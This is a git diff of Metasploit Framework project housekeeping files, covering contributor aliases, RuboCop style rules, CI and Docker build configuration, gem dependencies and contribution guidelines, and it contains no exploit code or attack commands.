techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
@@ -167,7 +165,6 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
|
||||
+19
-122
@@ -9,17 +9,7 @@
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.4
|
||||
|
||||
require:
|
||||
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_description_indentation.rb
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
TargetRubyVersion: 2.2
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
@@ -55,10 +45,6 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Naming/VariableNumber:
|
||||
Description: 'To make it easier to use reference code, disable this cop'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
@@ -69,37 +55,14 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/FirstArgumentIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/ArgumentAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: with_first_argument
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'Enforce consistency by breaking hash elements on to new lines'
|
||||
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Layout/IndentHeredoc:
|
||||
Enabled: false
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
|
||||
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
Description: 'This looks awkward when you mix empty and non-empty literals'
|
||||
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
@@ -109,86 +72,46 @@ Style/ConditionalAssignment:
|
||||
Description: 'This is confusing for folks coming from other languages'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
Enabled: false
|
||||
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
|
||||
|
||||
Style/TrailingCommaInArrayLiteral:
|
||||
Enabled: false
|
||||
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
# Basically everything in metasploit needs binary encoding, not UTF-8.
|
||||
# Disable this here and enforce it through msftidy
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
Style/RedundantPercentQ:
|
||||
Style/UnneededPercentQ:
|
||||
Enabled: false
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/FirstArrayElementLineBreak:
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
Description: 'This cop checks for a line break before the first element in a multi-line array.'
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Layout/FirstArrayElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful to force values within the register_options array to have sane indentation'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/ExtraSpacing:
|
||||
Description: 'Do not use unnecessary spacing.'
|
||||
Enabled: true
|
||||
# When true, allows most uses of extra spacing if the intent is to align
|
||||
# things with the previous or next line, not counting empty lines or comment
|
||||
# lines.
|
||||
AllowForAlignment: false
|
||||
# When true, allows things like 'obj.meth(arg) # comment',
|
||||
# rather than insisting on 'obj.meth(arg) # comment'.
|
||||
# If done for alignment, either this OR AllowForAlignment will allow it.
|
||||
AllowBeforeTrailingComments: false
|
||||
# When true, forces the alignment of `=` in assignments on consecutive lines.
|
||||
ForceEqualSignAlignment: false
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
@@ -198,22 +121,6 @@ Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Description: 'Use `%`-literal delimiters consistently.'
|
||||
Enabled: true
|
||||
# Specify the default preferred delimiter for all types with the 'default' key
|
||||
# Override individual delimiters (even with default specified) by specifying
|
||||
# an individual key
|
||||
PreferredDelimiters:
|
||||
default: ()
|
||||
'%i': '[]'
|
||||
'%I': '[]'
|
||||
'%r': '{}'
|
||||
'%w': '[]'
|
||||
'%W': '[]'
|
||||
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
|
||||
VersionChanged: '0.48.1'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
@@ -228,16 +135,6 @@ Style/RedundantBegin:
|
||||
# end
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/SafeNavigation:
|
||||
Description: >-
|
||||
This cop transforms usages of a method call safeguarded by
|
||||
a check for the existence of the object to
|
||||
safe navigation (`&.`).
|
||||
|
||||
This has been disabled as in some scenarios it produced invalid code, and disobeyed the 'AllowedMethods'
|
||||
configuration.
|
||||
Enabled: false
|
||||
|
||||
Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.6.6
|
||||
2.5.1
|
||||
|
||||
+6
-14
@@ -11,15 +11,13 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.5.8'
|
||||
- '2.6.6'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
# Used for testing the remote data service
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
@@ -27,14 +25,11 @@ matrix:
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script:
|
||||
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
- chmod +x docker-compose
|
||||
- sudo mv docker-compose /usr/bin
|
||||
before_script: skip
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -43,7 +38,6 @@ before_install:
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem update --system 3.0.6
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
@@ -55,9 +49,7 @@ before_script:
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
|
||||
- bash -c "${CMD}"
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
|
||||
+86
-67
@@ -1,108 +1,127 @@
|
||||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid7's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using our [PGP key].
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
|
||||
# Contributing to Metasploit
|
||||
Thank you for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
|
||||
## Code Free Contributions
|
||||
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
|
||||
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
|
||||
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
|
||||
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
|
||||
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
|
||||
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed. Sorry!
|
||||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
|
||||
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
--
|
||||
#### <u>Pull Requests</u>
|
||||
**Pull request [PR#9966] is a good example to follow.**
|
||||
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
|
||||
* Protect the process.
|
||||
* Ensures users are aware of commits on the branch being considered for merge.
|
||||
* Allows for a location for more commits to be offered without mingling with other contributor changes.
|
||||
* Allows contributors to make progress while a PR is still being reviewed.
|
||||
* **Do** stick to the [Ruby style guide].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
#### <u>New Modules</u>
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
#### <u>Library Code</u>
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for
|
||||
automating local tasks, and anything "serious" can be done with post
|
||||
modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### <u>Bug Fixes</u>
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
* **Do** include a link to any corresponding [Issues] in the format of
|
||||
`See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
|
||||
|
||||
When reporting Metasploit issues:
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
* **Don't** attempt to report issues on a closed PR.
|
||||
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
|
||||
[development environment]:http://r-7.co/MSF-DEV
|
||||
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
|
||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://www.betterspecs.org/
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2020, Rapid7, Inc.
|
||||
Copyright (C) 2006-2018, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
||||
+29
-35
@@ -1,22 +1,36 @@
|
||||
FROM ruby:2.6.6-alpine3.10 AS builder
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk add --no-cache \
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -27,43 +41,23 @@ RUN apk add --no-cache \
|
||||
zlib-dev \
|
||||
ncurses-dev \
|
||||
git \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system 3.0.6 \
|
||||
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.6.5-alpine3.10
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV METASPLOIT_GROUP=metasploit
|
||||
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
RUN chown -R root:metasploit /usr/local/bundle
|
||||
COPY . $APP_HOME/
|
||||
RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors.
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -3,12 +3,10 @@ source 'https://rubygems.org'
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'sqlite3', '~>1.3.0'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
gem 'simplecov', '0.18.2'
|
||||
gem 'simplecov'
|
||||
end
|
||||
|
||||
group :development do
|
||||
@@ -17,13 +15,9 @@ group :development do
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry-byebug'
|
||||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
gem 'memory_profiler'
|
||||
# cpu profiling
|
||||
gem 'ruby-prof'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
@@ -31,7 +25,7 @@ end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_bot_rails'
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
